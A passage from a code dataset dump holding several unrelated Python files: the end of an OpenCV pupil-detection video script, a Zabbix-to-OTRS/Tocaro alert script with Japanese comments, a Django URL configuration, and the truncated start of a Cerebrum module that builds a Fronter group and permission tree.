= approach_hough_cnt(v_channel_inv, original_width, current_calib)\n\n # log.write('\\nresult 1 ' + str(result_1))\n # log.write(' | similarity = ' + str(sim1))\n # log.write('\\nresult 2 ' + str(result_2))\n # log.write(' | similarity = ' + str(sim2))\n\n # select from first two approach first\n if result_1 is not None:\n x, y, r = result_1\n sim = sim1\n\n if result_2 is not None:\n x2, y2, r2 = result_2\n sim = sim2\n\n if x != x2 and y != y2 and r != r2:\n pixel_1, _ = tools.check_roi_pixels(x, y, r, roi_gray)\n pixel_2, _ = tools.check_roi_pixels(x2, y2, r2, roi_gray)\n # print('result 1 = ', pixel_1, ' vs result 2 =', pixel_2)\n\n if pixel_1 > pixel_2:\n x, y, r = result_2\n sim = sim2\n\n # select with the third\n sim3, (x3, y3, r3) = approach_expand(v_channel_inv, (x, y), current_calib)\n\n # log.write('\\nresult 3 ' + str(x3) + ',' + str(y3) + ',' + str(r3) + ' compare with result ' + str(x) + ',' + str(\n # y) + ',' + str(r))\n\n pixel_1, _ = tools.check_roi_pixels(x, y, r, roi_gray)\n pixel_3, _ = tools.check_roi_pixels(x3, y3, r3, roi_gray)\n\n # log.write('\\nmean pixel values' + str(pixel_1) + ',' + str(pixel_3))\n if pixel_1 > pixel_3 or (x == 0 and y == 0 and r == 0) and r3 is not None:\n x, y, r, sim = x3, y3, r3, sim3\n\n x += crop_area[0] # crop for getting the eyeball\n\n if r == 0: x, y, sim = 0, 0, 0\n\n # print('[FINAL RESULT]', x, y, r, 'with similarity = ', sim, '\\n')\n ratio = np.around(r / iris_r, decimals=2)\n\n if ratio >= 0.55 or ratio <= 0.3: return None\n\n # log.write('\\n[FINAL RESULT] ' + str(x) + ',' + str(y) + ',' + str(r)\n # + ' ' + str(ratio))\n\n if r == 0: return None\n\n return (x,y, r, sim, ratio)\n\n\ndef write_result(csv, step, ts, result, side, d2):\n x,y,r,sim,ratio = result\n\n # csv.write(step + ',')\n csv.write(ts + ',')\n csv.write(str(x) + ',')\n csv.write(str(y) + ',')\n csv.write(str(r) + ',')\n csv.write(str(ratio) + ',')\n csv.write(str(sim) + ',')\n csv.write(side + ',')\n csv.write(str(d2) + ',')\n csv.write('\\n')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('mode', type=str) #test/eva\n args = parser.parse_args()\n args = vars(args)\n mode = args['mode']\n\n global storing_path\n #uncomment to change way of storing files\n\n # RGB = [f for f in listdir(input_path) if isfile(join(input_path, f))]\n\n #another way to access files\n reading_path = []\n\n if mode == 'eva': #evaluation\n # parent_dir = 'D:/PupilDilateProject/test_video'\n # parent_dir = os.path.realpath(parent_dir)\n # for subdir, dirs, files in os.walk(parent_dir):\n # for dir in dirs:\n # if not dir.__contains__('_'):\n # reading_path.append(dir)\n parent_dir = 'D:/eve_dataset/eve_dataset'\n parent_dir = os.path.realpath(parent_dir)\n for root, dirs, files in os.walk(parent_dir):\n if dirs.__len__() == 0:\n reading_path.append(root)\n\n elif mode == 'test':\n condition = 'test' # only works when detected area is smaller than actual, not works on conditon 1\n # parent_dir = path.expanduser('~/Desktop/test_video/')\n parent_dir = 'D:/eve_dataset/eve_dataset'\n reading_path.append(parent_dir)\n\n for dir in reading_path:\n #dir = train01_photos\n print('dir in reading path', dir)\n if mode == 'eva':\n # storing_path = os.path.join(parent_dir, dir+'_video_result')\n # print('storing path', storing_path)\n #\n # if os.path.isdir(storing_path): continue #avoid overwrite the previous results.\n #\n # os.mkdir(storing_path)\n append = True\n for f in listdir(dir):\n if f.endswith('.csv'):\n append = False\n break\n\n if append:\n storing_path = dir\n print(storing_path)\n else:\n continue\n\n #input calibration data\n calib_left, calib_right = input_calibration(dir, parent_dir)\n\n else:\n left_x, left_y, left_r = [], [], []\n right_x, right_y, right_r = [], [], []\n\n with open(os.path.join(parent_dir, 'calibration.txt'), 'r') as f:\n for line in f.readlines():\n values = line.split(',')\n if values[0] == 'left':\n left_x.append(int(values[1]))\n left_y.append(int(values[2]))\n left_r.append(int(values[3]))\n\n elif values[0] == 'right':\n right_x.append(int(values[1]))\n right_y.append(int(values[2]))\n right_r.append(int(values[3]))\n\n calib_left = (np.around(np.mean(left_x), decimals=0), np.around(np.mean(left_y), decimals=0),\n np.around(np.mean(left_r), decimals=0))\n calib_right = (np.around(np.mean(right_x), decimals=0),np.around(np.mean(right_y), decimals=0),\n np.around(np.mean(right_r), decimals=0))\n\n calib_d2 = np.around(dist.euclidean(calib_left[:2], calib_right[:2]), decimals=2)\n print('calib_d2', calib_d2)\n\n second_dir = os.path.join(parent_dir, dir)\n log = open(os.path.join(storing_path, \"opencv_video_log.txt\"), \"w\")\n csv = open(os.path.join(storing_path, \"opencv_video_result.csv\"), 'w')\n\n # csv.write('step' + ',')\n csv.write('ts' + ',')\n csv.write('x' + ',')\n csv.write('y' + ',')\n csv.write('pupil' + ',')\n csv.write('ratio' + ',')\n csv.write('sim' + ',')\n csv.write('side' + ',')\n csv.write('d2' + ',')\n csv.write('\\n')\n\n print('second_dir', second_dir)\n\n for file in listdir(second_dir): #all video in the folder\n\n if not file.endswith('webcam_c_face.mp4'): continue\n\n print('file in second dir', file)\n\n digs = file[:-4].split('_')\n step = digs[1]\n\n log.write('\\n\\nstep ' + step + \" --------------------\")\n print('step ' + step + \" --------------------\")\n\n video = os.path.join(second_dir, file)\n cap = cv2.VideoCapture(video)\n start_t = time.time()\n\n while (cap.isOpened()):\n try:\n _, frame = cap.read()\n if frame is None:\n print('frame is None')\n break\n # time.sleep(0.05)\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rects = img_utility.face_detector(gray, 0)\n t = cap.get(cv2.CAP_PROP_POS_MSEC)\n t = str(t)\n\n for rect in rects:\n shape = img_utility.get_shape(frame, rect)\n\n ear = img_utility.handle_blink(shape)\n if ear < 0.21: continue\n\n (x, y, w, h) = cv2.boundingRect(np.array([shape[lStart:lEnd]]))\n left_eye = frame[y:(y + h), x:(x + w)]\n left_eye = imutils.resize(left_eye, width=100 * 3, height=75 * 3, inter=cv2.INTER_CUBIC)\n\n (x, y, w, h) = cv2.boundingRect(np.array([shape[rStart:rEnd]]))\n right_eye = frame[y:(y + h), x:(x + w)]\n right_eye = imutils.resize(right_eye, width=100 * 3, height=75 * 3, inter=cv2.INTER_CUBIC)\n\n left_result = process_single_image(left_eye, log, calib_left)\n right_result = process_single_image(right_eye, log, calib_right)\n\n d_eyes = -1\n if left_result is not None and right_result is not None:\n lx, ly = left_result[:2]\n rx, ry = right_result[:2]\n d_eyes = np.around(dist.euclidean((lx, ly), (rx,ry)), decimals=2)\n # print('two eyes d', d_eyes)\n # log.write('\\ntwo eyes interval ' + str(d_eyes))\n # if abs(d_eyes - calib_d2) <= 20:\n # if left_result[-1] < right_result[-2]:\n # right_result = None\n # else:\n # left_result = None\n\n if left_result is not None:\n write_result(csv, step, t, left_result, 'L', d_eyes)\n # output = left_eye\n # x,y,r = left_result[:3]\n # output = cv2.circle(output, (int(x), int(y)), int(r), (0, 0, 255), thickness=2)\n # output = cv2.circle(output, (int(x), int(y)), 2, (0, 0, 255), thickness=2)\n # cv2.imwrite(os.path.join(storing_path, step+'_'+t+'_left.png'), output)\n\n if right_result is not None:\n write_result(csv, step, t, right_result, 'R', d_eyes)\n # output = right_eye\n # x,y,r = right_result[:3]\n # output = cv2.circle(output, (int(x), int(y)), int(r), (0, 0, 255), thickness=2)\n # output = cv2.circle(output, (int(x), int(y)), 2, (0, 0, 255), thickness=2)\n # cv2.imwrite(os.path.join(storing_path, step+'_'+t+'_right.png'), output)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n except:\n continue\n\n cap.release()\n cv2.destroyAllWindows()\n log.write('\\n[FINISH] Process time = ' + str(time.time() - start_t))\n print('[FINISH] Process time = ', time.time() - start_t)\n\n\n #\n csv.close()\n log.close()\n\n","repo_name":"kkkkk2017/PupilDetect","sub_path":"algor/pupil_detect_video_wmanth.py","file_name":"pupil_detect_video_wmanth.py","file_ext":"py","file_size_in_byte":20999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11463966908","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n###############################################################################\n#\n# argv 1 -> hostname : 障害発生ホスト\n# argv 2 -> event_date : 障害検知日\n# argv 3 -> event_time : 障害検知時刻\n# argv 4 -> trigger_nsev : 障害深刻度\n# 0:Not classified\n# 1:Information\n# 2:Warning\n# 3:Average\n# 4:High\n# 5:Disaster\n# argv 5 -> trigger_val : ステータス値\n# 0:OK 1:PROBLEM\n# argv 6 -> trigger_name : 発生障害名\n###############################################################################\nfrom otrsTicketHandle import OTRSApi\nfrom tocaroCallHandle import TocaroApi\nimport json\nimport sys\nimport string\nimport os\n\n\nif __name__ == \"__main__\":\n # parameter\n param = sys.argv\n hostname = param[1]\n event_date = param[2]\n event_time = param[3]\n trigger_nsev = param[4]\n trigger_val = param[5]\n trigger_name = param[6]\n\n # easy debug\n debugflag = 0\n if debugflag == 1:\n fd = open('/home/ansible/pythonTools/log/otrs.log', 'a')\n fd.write(\"**************************\\n\")\n fd.write(\"hostname= \" + hostname + \"\\n\")\n fd.write(\"event_date= \" + event_date + \"\\n\")\n fd.write(\"event_time= \" + event_time + \"\\n\")\n fd.write(\"trigger_nsev= \" + trigger_nsev + \"\\n\")\n fd.write(\"trigger_val= \" + trigger_val + \"\\n\")\n fd.write(\"trigger_name= \" + trigger_name + \"\\n\")\n fd.close()\n\n # 深刻度とOTRS優先度の紐づけ\n ot_priority = \"3 normal\"\n ot_sev = \"軽度の障害\"\n if trigger_nsev == 1:\n ot_priority = \"1 very low\"\n ot_sev = \"情報\"\n elif trigger_nsev == 2:\n ot_priority = \"2 low\"\n ot_sev = \"警告\"\n elif trigger_nsev == 3:\n ot_priority = \"3 normal\"\n ot_sev = \"軽度の障害\"\n elif trigger_nsev == 4:\n ot_priority = \"4 high\"\n ot_sev = \"重度の障害\"\n elif trigger_nsev == 5:\n ot_priority = \"5 very high\"\n ot_sev = \"致命的な障害\"\n\n # ローカルファイルへの吐き出し\n zabbix_eventlog = \"/var/log/zabbix/zabbix_event.log\"\n log_messages = event_date + \" \" \\\n + event_time + \" \" \\\n + ot_sev + \" \" \\\n + hostname + \" \" \\\n + trigger_name\n with open('/var/log/zabbix/zabbix_event.log', 'a') as fh:\n fh.write(log_messages + '\\n')\n\n # OTRS 連携\n # インシデント情報の加工\n title = \"Failure was detected in the ZBX\"\n type = \"Problem\"\n queue = \"FailureNotifi\"\n state = \"new\"\n priority = ot_priority\n customer_user = \"testcust\"\n otrs_subject = hostname + \" : \" + trigger_name\n body = \"ZBX サーバで障害を検知しました。\\n\\n\" \\\n + \"発生日時:\" + event_date + \" \" + event_time + \"\\n\" \\\n + \"発生ホスト:\" + hostname + \"\\n\" \\\n + \"障害内容:\" + trigger_name + \"\\n\" \\\n + \"深刻度:\" + ot_sev + \"\\n\\n\" \\\n + \"運用手順に従い、対応を開始してください。\"\n\n # インスタンス生成\n OT_ins = OTRSApi()\n # OTRSでチケット作成\n newid = OT_ins.CreateTicket(title, type, queue, state, priority,\n customer_user, otrs_subject, body)\n\n # OTRSのグローバルIP調査\n instanceListNm = \"/home/ansible/pythonTools/data/instanceList.txt\"\n otrs_globalip = \"1.2.3.4\"\n with open(instanceListNm, 'r') as insf:\n allinsToHost = insf.readlines()\n for thisline in allinsToHost:\n thislist = thisline.split(\",\")\n thishostnm = thislist[5].rstrip(\"\\n\")\n if thishostnm.find(\"OTRS\") != -1:\n otrs_globalip = thislist[3]\n\n # Tocaro 連携\n tc_title = otrs_subject\n ticket_url = \"http://\" + otrs_globalip + \"/otrs/index.pl?Action=\\\n AgentTicketZoom;TicketID=\" + newid\n value = \"Check the Failure information in \" + ticket_url\n Tc_ins = TocaroApi()\n\n # debug\n if debugflag == 1:\n fd = open('/home/ansible/pythonTools/log/otrs.log', 'a')\n fd.write(\"tc_title= \" + tc_title + \"\\n\")\n fd.write(\"value= \" + value + \"\\n\")\n fd.close()\n\n # Tocaroにメッセージを通知\n rtn3 = Tc_ins.sendMessage(tc_title, value)\n\n if debugflag == 1:\n fd = open('/home/ansible/pythonTools/log/otrs.log', 'a')\n fd.write(\"tocaro= \" + rtn3 + \"\\n\")\n fd.close()\n","repo_name":"Magoshin/AutoManagePJ","sub_path":"comnFailureFromZBX.py","file_name":"comnFailureFromZBX.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38321204110","text":"from django.contrib import admin\nfrom django.urls import path , include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib.auth import views as auth_views\n\nfrom . import views\n\n\nurlpatterns = [\n path('', views.home, name=\"home\"),\n path('registration', views.registration, name=\"Registration\"),\n path('signin', views.signin, name=\"Signin\"),\n path('signout', views.signout, name=\"Signout\"),\n path('dashboard/', views.dashboard, name=\"Dashboard\"),\n path('dashboard/chatbot/', views.chatbot, name=\"chatbot\"),\n path('subscription/dashboard/chatbot/', views.chatbot, name=\"chatbot\"),\n path('subscription/dashboard/chatbot/imgtotxt/', views.chatbot, name=\"chatbot\"),\n\n\n\n path('dashboard/imgtotxt/', views.imgtotxt, name=\"Image to Text\"),\n path('subscription/dashboard/imgtotxt/', views.imgtotxt, name=\"Image to Text\"),\n\n path('dashboard/img/<int:image_id>/download/', views.download_image, name='download_image'),\n\n\n\n\n path('subscription/', views.subscription, name='subscription'),\n # other URL patterns for your app...\n path('subscription/dashboard/', views.dashboard, name=\"Dashboard\"),\n\n\n\n\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"inteliko/chatnget.ai","sub_path":"aiwrite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43245819395","text":"from __future__ import unicode_literals\n\nimport argparse\nimport datetime\nimport logging\nimport re\nfrom collections import deque\n\nimport six\n\nimport cereconf\n\nimport Cerebrum.logutils\nimport Cerebrum.logutils.options\nfrom Cerebrum.Utils import Factory\nfrom Cerebrum.utils.atomicfile import SimilarSizeWriter\nfrom Cerebrum.extlib import xmlprinter\nfrom Cerebrum.modules.xmlutils.fsxml2object import EduDataGetter\nfrom Cerebrum.modules.no.hiof.fronter_lib import lower\nfrom Cerebrum.modules.no.hiof.fronter_lib import count_back_semesters\nfrom Cerebrum.modules.no.hiof.fronter_lib import timeslot_is_valid\nfrom Cerebrum.modules.Email import EmailAddress\nfrom Cerebrum.modules.Email import EmailTarget\nfrom Cerebrum.modules.Email import EmailServer\nfrom Cerebrum import Errors\n\n\nSTATUS_ADD = \"1\"\nSTATUS_UPDATE = \"2\"\nSTATUS_DELETE = \"3\"\nlogger = logging.getLogger(__name__)\nuname_suffix = ''\n\n\n@six.python_2_unicode_compatible\nclass CfPermission(object):\n \"\"\"Permission handling.\n\n Objects of this class capture the fact that a group has a certain\n permission granted on another group.\n \"\"\"\n\n ROLE_READ = '01'\n ROLE_WRITE = '02'\n ROLE_DELETE = '06'\n ROLE_CHANGE = '07'\n\n access2symbol = {\n ROLE_READ: \"READ\",\n ROLE_WRITE: \"WRITE\",\n ROLE_DELETE: \"DELETE\",\n ROLE_CHANGE: \"CHANGE\",\n }\n\n def __init__(self, access_type, recursive, holder, target):\n # Does the permission apply recursively?\n self._recursive = recursive\n # read/write/delete/change\n self._access = access_type\n # the group that has the permissions on target\n self._holder = holder\n # the 'victim' of the permission assignment\n self._target = target\n assert self._access in self.access2symbol\n\n def access_type(self):\n return self._access\n\n def is_recursive(self):\n return self._recursive\n\n def target(self):\n return self._target\n\n def holder(self):\n return self._holder\n\n def __str__(self):\n return \"cf_perm %s (%s) for %s on %s\" % (\n self.access2symbol[self.access_type()],\n self.is_recursive() and \"recursive\" or \"non-recursive\",\n self.holder(),\n self.target())\n\n\nclass CfTree(object):\n \"\"\"\n Representation of the data structure to be pushed to the XML file.\n \"\"\"\n\n def __init__(self, db):\n self._root = None\n self._person_group_holder = None\n self._cf_id2node = dict()\n self._db = db\n\n self._build_static_nodes()\n\n def _build_static_nodes(self):\n \"\"\"Build the static part of OA/hiof's CF tree\"\"\"\n\n self._root = CfStructureGroup(\"Oslofjordalliansen\", \"root\", None)\n self.register_structure_group(self._root)\n\n hiof = CfStructureGroup(\"HiØ\", \"STRUCTURE:hiof.no\", self._root)\n self.register_structure_group(hiof)\n\n tmp = CfStructureGroup(\"Automatisk\",\n \"STRUCTURE:hiof.no:automatisk\", hiof)\n self.register_structure_group(tmp)\n tmp = CfStructureGroup(\"Manuell\",\n \"STRUCTURE:hiof.no:manuell\", hiof)\n self.register_structure_group(tmp)\n\n # It knows about root, but not the other way\n # around. _person_group_holder is somewhat special -- it's a fake\n # node: it does not have any members, really, it is only a container\n # for all groups with members in them.\n self._person_group_holder = CfStructureGroup(\n \"Samlenode for persongruppene\",\n \"STRUCTURE:hiof.no:persongruppene\",\n None)\n self._person_group_holder._parent = self._root\n\n def get_cf_group(self, cf_id, default=None):\n return self._cf_id2node.get(cf_id, default)\n\n def register_member_group(self, cfmg):\n assert isinstance(cfmg, CfMemberGroup)\n cf_group_id = cfmg.cf_id()\n self._cf_id2node[cf_group_id] = cfmg\n\n def register_structure_group(self, cfsg):\n assert isinstance(cfsg, CfStructureGroup)\n cf_group_id = cfsg.cf_id()\n self._cf_id2node[cf_group_id] = cfsg\n\n def create_associated_siblings(self, cf_group):\n \"\"\"Create sibling nodes stemming from a given node.\n\n NB! This creates cf_structure_groups only.\n \"\"\"\n\n for s_name, s_id in cf_group.cf_yield_siblings():\n if self.get_cf_group(s_id):\n continue\n\n parent = self.get_cf_group(cf_group.cf_parent_id())\n assert parent is not None\n nn = CfStructureGroup(s_name, s_id, parent)\n self.register_structure_group(nn)\n parent.add_child(nn)\n logger.debug(\"Created sibling %s from %s under parent %s\",\n nn, cf_group, parent)\n\n def create_associated_structures(self, cf_group, multisemester_map):\n \"\"\"Given a cf_member/structure_group, create *ALL* the necessary\n associated groups upwards in the structure tree.\n\n cf_group may be either a cf_structure_group or a CfMemberGroup.\n\n For cf_structure_group we figure out which group is the parent. If it\n does not exist, it's created (recursively).\n\n For CfMemberGroup we figure out which structure group it corresponds\n to. If it does not exist, it's created (recursively).\n\n @return:\n This returns a group that cf_group should be associated\n with. I.e. cf_group's 'closest' node in the structure hierarchy\n \"\"\"\n\n if cf_group.cf_id() in multisemester_map:\n structure_id = multisemester_map[cf_group.cf_id()]\n logger.debug(\"Selecting a remapped parent-id: %s -> %s\",\n cf_group.cf_id(), structure_id)\n else:\n structure_id = cf_group.cf_parent_id()\n\n if structure_id is None:\n logger.debug(\"No structure created for cf_group=%s\", cf_group)\n return None\n if self.get_cf_group(structure_id):\n self.get_cf_group(structure_id).add_child(cf_group)\n self.create_associated_siblings(cf_group)\n return self.get_cf_group(structure_id)\n\n # No parent -> create new one\n # Regardless of cf_group's type, we create cf_structure_groups only.\n logger.debug(\"Creating new node id=%s (parent for %s)\",\n structure_id, cf_group.cf_id())\n new_node = CfStructureGroup(cf_group.cf_parent_title(),\n structure_id,\n # None, since we don't know what the\n # parent is at this point.\n None)\n self.register_structure_group(new_node)\n new_node.add_child(cf_group)\n self.create_associated_siblings(cf_group)\n\n # This will eventually stop at a node that already exist, since we\n # have several static nodes in the tree.\n grandparent_node = self.create_associated_structures(new_node,\n multisemester_map)\n # This will fix new_node's parent link as well.\n grandparent_node.add_child(new_node)\n return new_node\n\n def iterate_groups(self, group_type=None):\n \"\"\"Create an iterator for the specific group type in the CF-tree.\n \"\"\"\n\n for seq in (self._cf_id2node.itervalues(),\n (self._person_group_holder,)):\n for group in seq:\n if (group_type is None or\n isinstance(group, group_type)):\n yield group\n\n def iterate_groups_topologically(self, group_type=None):\n \"\"\"Create an iterator for the specific group type(s) that outputs\n groups in topological order.\n\n Fronter requires parent groups to be output before children, in order\n for their import routines to function properly.\n \"\"\"\n\n if not self._root:\n return\n\n work_queue = deque((self._root, self._person_group_holder))\n while work_queue:\n current = work_queue.popleft()\n\n if group_type is None or isinstance(current, group_type):\n yield current\n\n # Enqueue all the children (CfMemberGroup does not have\n # structural children, which are of interest here)\n if not isinstance(current, CfStructureGroup):\n continue\n\n for child_group in current.iterate_children(group_type):\n work_queue.append(child_group)\n\n def get_root(self):\n return self._root\n\n\nclass CfGroupInterface(object):\n \"\"\"An interface capturing the common functionality of person- and structure\n groups.\n \"\"\"\n\n _acronym2avdeling = None\n\n def __init__(self):\n self._parent = None\n\n @staticmethod\n def load_acronyms(db):\n result = dict()\n ou = Factory.get(\"OU\")(db)\n const = Factory.get(\"Constants\")()\n for row in ou.search_name_with_language(\n entity_type=const.entity_ou,\n name_variant=const.ou_name_acronym,\n name_language=const.language_nb):\n ou.clear()\n ou.find(row[\"entity_id\"])\n key = \"%02d%02d%02d\" % (ou.fakultet, ou.institutt, ou.avdeling)\n result[key] = row[\"name\"]\n CfGroupInterface._acronym2avdeling = result\n\n def __eq__(self, other):\n return self.cf_id() == other.cf_id()\n\n def __hash__(self):\n return hash(self.cf_id())\n\n def cf_group_type(self):\n raise NotImplementedError(\"N/A\")\n\n def cf_id(self):\n raise NotImplementedError(\"N/A\")\n\n def cf_title(self):\n raise NotImplementedError(\"N/A\")\n\n def cf_parent_id(self):\n raise NotImplementedError(\"N/A\")\n\n def cf_typevalue(self):\n raise NotImplementedError(\"N/A\")\n\n def cf_template(self):\n raise NotImplementedError(\"N/A\")\n\n @staticmethod\n def kull_room_title(stprog, semester, year):\n return \"Rom for kull %s %s %s\" % (stprog, semester, year)\n\n def cf_parent_title(self):\n \"\"\"Figure out the title of the group where self is a member\"\"\"\n # If the parent link already exists, we are done\n if self._parent:\n return self._parent.cf_title()\n\n # If not, let's guess\n parent_id = self.cf_parent_id()\n parent_components = parent_id.split(\":\")\n\n if \"klasse\" in parent_components:\n return \"Rom for kull %s %s %s, klasse %s\" % (\n parent_components[-6],\n parent_components[-3],\n parent_components[-4],\n parent_components[-1])\n\n if \"kull\" in parent_components:\n # fellesrom is for student-kull group's parent only ...\n if self.cf_group_type() == \"student-kull\":\n return self.kull_room_title(parent_components[-4],\n parent_components[-1],\n parent_components[-2])\n\n # 2 possibilities here -- self is either a ROOM or a group with a\n # kull role holder. In all cases the parent is the same - kull\n # corridor. In either case the parent's name is deduced similarily.\n #\n idx = parent_components.index(\"kull\")\n return \"Kull %s %s %s\" % (\n parent_components[idx-1], # stprog\n parent_components[idx+2], # terminkode\n parent_components[idx+1]) # arstall\n\n elif \"studieprogram\" in parent_components:\n idx = parent_components.index(\"studieprogram\")\n return \"Studieprogram %s\" % parent_components[idx+1].upper()\n elif (\"undenh\" in parent_components or\n \"undakt\" in parent_components):\n # group's description (cf_title()) has the right semester number\n # even for multisemester undenh/undakt, this structure will have\n # the right title.\n # FIXME: It is somewhat ugly to rely on a certain structure in\n # group names\n title_components = self.cf_title().split(\" \")\n return \"Rom for \" + \" \".join(title_components[2:])\n elif \"emner\" in parent_components:\n idx = parent_components.index(\"emner\")\n return \"Emnerom %s %s\" % (parent_components[idx+2],\n parent_components[idx+1])\n # avdeling\n elif len(parent_components) == 5 and parent_components[-1].isdigit():\n return \"%s\" % self._acronym2avdeling[parent_components[-1]]\n elif \"automatisk\" in parent_components:\n return \"Automatisk\"\n # for the sake of completeness\n elif \"manuell\" in parent_components:\n return \"Manuell\"\n elif \"persongruppene\" in parent_components:\n return \"Samlenode for persongruppene\"\n elif parent_id == \"root\":\n return \"Oslofjordalliansen\"\n\n assert False, \"This cannot happen: parent_id=%s\" % parent_id\n\n def cf_yield_siblings(self):\n \"\"\"Return sibling node information to create alongside self.\n\n This may come in handy when a creation of one node (be it\n CfMemberGroup or cf_structure_group) necessarily entails creating\n additional nodes at the same level.\n\n By default, no action is performed. This method returns a generator.\n \"\"\"\n return ((cf_name, cf_id) for (cf_name, cf_id) in ())\n\n\n@six.python_2_unicode_compatible\nclass CfStructureGroup(CfGroupInterface):\n \"\"\"A group representing a structure (a room or a corridor) in CF.\n\n This class deals with intergroup relations in CF (permissions,\n parent-child relations, etc.). Some cf_structure_groups would have\n CfMemberGroup(s) associated with them (typically student / FS role\n holder groups). That association is used to grant access permissions in\n CF.\n \"\"\"\n\n valid_types = (\"STRUCTURE\", \"ROOM\")\n\n def __init__(self, description, cf_id, parent):\n super(CfStructureGroup, self).__init__()\n self._cf_id = cf_id\n self._title = description\n self._parent = parent\n if self._parent:\n self._parent.add_child(self)\n self._structure_children = dict()\n self._permissions = dict()\n self._group_type = self._calculate_group_type()\n\n def cf_typevalue(self):\n \"\"\"Return a suitable text value for <typevalue> XML element.\n\n The meaning of the code values is:\n\n 0 - node\n 1 - corridor\n 2 - group\n 4 - room.\n \"\"\"\n\n # FIXME: this is so horribly hackish. There should be a general way of\n # calculating the <typevalue>.\n if self.cf_id() in (\"root\",\n \"STRUCTURE:hiof.no\",\n \"STRUCTURE:hiof.no:automatisk\",\n \"STRUCTURE:hiof.no:manuell\",\n \"STRUCTURE:hiof.no:persongruppene\"):\n return \"0\"\n\n # avdeling -> node as per specification\n components = self.cf_id().split(\":\")\n if len(components) == 5 and components[-1].isdigit():\n return \"0\"\n\n # all other STRUCTURE entities are corridors\n if self.cf_group_type() == \"STRUCTURE\":\n return \"1\"\n\n if self.cf_group_type() == \"ROOM\":\n return \"4\"\n\n assert False, \"This cannot happen\"\n\n def cf_is_kull_fellesrom(self):\n \"\"\"Is self fellesrom for a kull?\"\"\"\n\n components = self.cf_id().split(\":\")\n return (self.cf_group_type() == \"ROOM\" and\n \"kull\" in components and\n \"klasse\" not in components)\n\n def cf_is_kull_corridor(self):\n \"\"\"Is self a kull corridor?\"\"\"\n\n components = self.cf_id().split(\":\")\n return (self.cf_group_type() == \"STRUCTURE\" and\n \"kull\" in components)\n\n def fixup_sibling_permissions(self):\n \"\"\"Propagate permissions from kullklasse roles to fellesrom for kull.\n\n Those holdning role permissions on kullklasse room have the same\n permission # set on kull room (fellesrommet for kullet)\n \"\"\"\n\n if not self.cf_is_kull_corridor():\n return\n\n # Does self have fellesrom at all? (it ought to, but let's pretend we\n # need to check this)\n holders = set()\n fellesrom = None\n for child in self.iterate_children(CfStructureGroup):\n\n for permission in child.iterate_permissions():\n if not permission.holder().cf_is_student_group():\n holders.add(permission.holder())\n\n if child.cf_is_kull_fellesrom():\n fellesrom = child\n\n # if we have fellesrom, every group in 'holders' gets a permission on\n # fellesrom.\n if fellesrom is None:\n return\n\n # let's go\n for holder in holders:\n logger.debug(\"%s receives additional permissions from sibling %s\",\n fellesrom, holder)\n fellesrom.register_permissions(holder)\n\n def cf_template(self):\n assert self.cf_group_type() in self.valid_types\n if self.cf_group_type() == \"ROOM\":\n return \"Mal-rom OA 2\"\n\n def cf_id(self):\n return self._cf_id\n\n def cf_title(self):\n return self._title\n\n def cf_group_type(self):\n return self._group_type\n\n def cf_parent_id(self):\n \"\"\"Calculate which *structure* group is the parent of this group.\n\n If the _parent link has already been established, there is nothing to\n do. However, until the _parent link is set, we don't have the actual\n parent node and have to calculate the id itself.\n\n The idea is to figure out which parent structure group a given\n structure group should be associated with. This happens during the\n creation of the cf structure tree.\n \"\"\"\n\n # If the parent link already exists, we are done.\n if self._parent:\n return self._parent.cf_id()\n\n # Now, which structure node is this?\n components = self.cf_id().split(\":\")\n if self.cf_group_type() == \"ROOM\":\n # kullklasse\n if \"klasse\" in components:\n result = [\"STRUCTURE\", ] + components[1:-2]\n # kull, fellesrom\n elif \"kull\" in components:\n result = [\"STRUCTURE\", ] + components[1:]\n # The guesswork below is potentially incorrect (i.e. it will be\n # incorrect for multisemester undenh/undakt. However, the\n # proper remapping happens elsewhere, and this just captures the\n # general case).\n elif \"undenh\" in components:\n result = [\"STRUCTURE\", ] + components[1:-4]\n elif \"undakt\" in components:\n result = [\"STRUCTURE\", ] + components[1:-5]\n else:\n assert False, \"This cannot happen: self.id=%s\" % self.cf_id()\n return \":\".join(result)\n else:\n # kull -> stprog\n if \"kull\" in components:\n result = components[:-3]\n # stprog -> avdeling\n elif \"studieprogram\" in components:\n result = components[:-2]\n # emnerom -> avdeling\n elif \"emner\" in components:\n result = components[:-3]\n # avdeling -> automatisk\n elif len(components) == 5 and components[-1].isdigit():\n return \"STRUCTURE:hiof.no:automatisk\"\n # root is special\n elif self.cf_id() == \"root\":\n return self.cf_id()\n else:\n assert False, \"This cannot happen: self.id=%s\" % self.cf_id()\n return \":\".join(result)\n\n def _calculate_group_type(self):\n \"\"\"Figure out what kind of structure group this is -- STRUCTURE\n (corridor) or ROOM\"\"\"\n\n # root is special. UNFORTUNATELY\n if self.cf_id() == \"root\":\n return \"STRUCTURE\"\n\n components = self.cf_id().split(\":\")\n assert components[0] in self.valid_types\n return components[0]\n\n def add_child(self, child):\n self._structure_children[child.cf_id()] = child\n # this will allow us to create parentless nodes, and have them fixed\n # up later on. _parent slot is initialised to None.\n if child._parent != self:\n child._parent = self\n\n def iterate_children(self, child_type=None):\n for child in self._structure_children.itervalues():\n if child_type is None or isinstance(child, child_type):\n yield child\n\n def iterate_permissions(self):\n return self._permissions.itervalues()\n\n def register_permissions(self, cf_group):\n assert isinstance(cf_group, CfMemberGroup)\n permission = cf_group.get_cf_permission(self)\n if permission is not None:\n self._permissions[cf_group.cf_id()] = permission\n\n logger.debug(\"Registered permission %s\", permission)\n\n def __str__(self):\n return (\"CFSG id=%s (parent=%s), %d structure members, \"\n \"%d perm groups\" % (\n self.cf_id(),\n self._parent and self._parent.cf_id() or \"No parent\",\n len(self._structure_children),\n 